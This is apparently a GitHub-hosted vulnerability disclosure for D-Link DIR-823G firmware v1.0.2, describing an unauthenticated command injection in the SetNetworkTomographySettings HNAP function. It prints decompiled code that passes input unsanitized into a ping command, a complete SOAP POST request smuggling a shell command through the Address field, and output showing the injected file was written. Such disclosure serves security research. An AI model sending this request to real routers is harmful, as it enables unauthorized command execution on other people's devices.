


 main ▼

...

[IOT_FIRMWARE](#) / [友讯](#) / [dir-823g](#) / [cve_v1.0.2.pdf](#)

 ppcrab 2022.10.8 🕒 History

👤 1 contributor

202 KB ...

DIR-823G v1.0.2 was found to contain a command injection vulnerability in the function SetNetworkTomographySettings. The vulnerability allows an attacker to execute arbitrary commands and no identity permission restrictions

```
undefined4 FUN_00428cb0(int param_1)

{
    undefined4 uVar1;
    char *pcVar2;
    char acStack408 [200];
    char acStack208 [200];

    memset(acStack408,0,200);
    memset(acStack208,0,200);
    if (param_1 == 0) {
        puts("url=NULL");
        uVar1 = 0xffffffff;
    }
    else {
        snprintf(acStack408,199,"ping %s -c 1 -w 2",param_1);
        system_call(acStack408,acStack208,199);
        printf("recbuf===%s\n",acStack208);
        pcVar2 = strstr(acStack208,"1 packets received");
        if (pcVar2 == (char *)0x0) {
            uVar1 = 0xffffffff;
        }
        else {
            uVar1 = 0;
        }
    }
    return uVar1;
}
```

Request

Raw Params Headers Hex XML

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetNetworkTomographySettings"
HNAP_AUTH: 06229F0CCFE069DE70E3174D8078FB07 1651998754
X-Requested-With: XMLHttpRequest
Content-Length: 449
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/Diagnosis.html
Cookie: uid=0jYxBrjCNP; PrivateKey=5D7864723F6D261E02095D964FA05B5C; timeout=33
```

```
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/"><Address>www.'echo hacked_Knight >
/web_mtn/hack01.txt;'.com</Address><Number>5</Number><Size>64</Size></SetNetworkTomogra
phySettings></soap:Body></soap:Envelope>
```

```
cat /web_mtn/hack01.txt
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3
ema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetNetworkTomographySettings xmlns="http://purenetworks.com
s>www.echo hacked_Knight
```

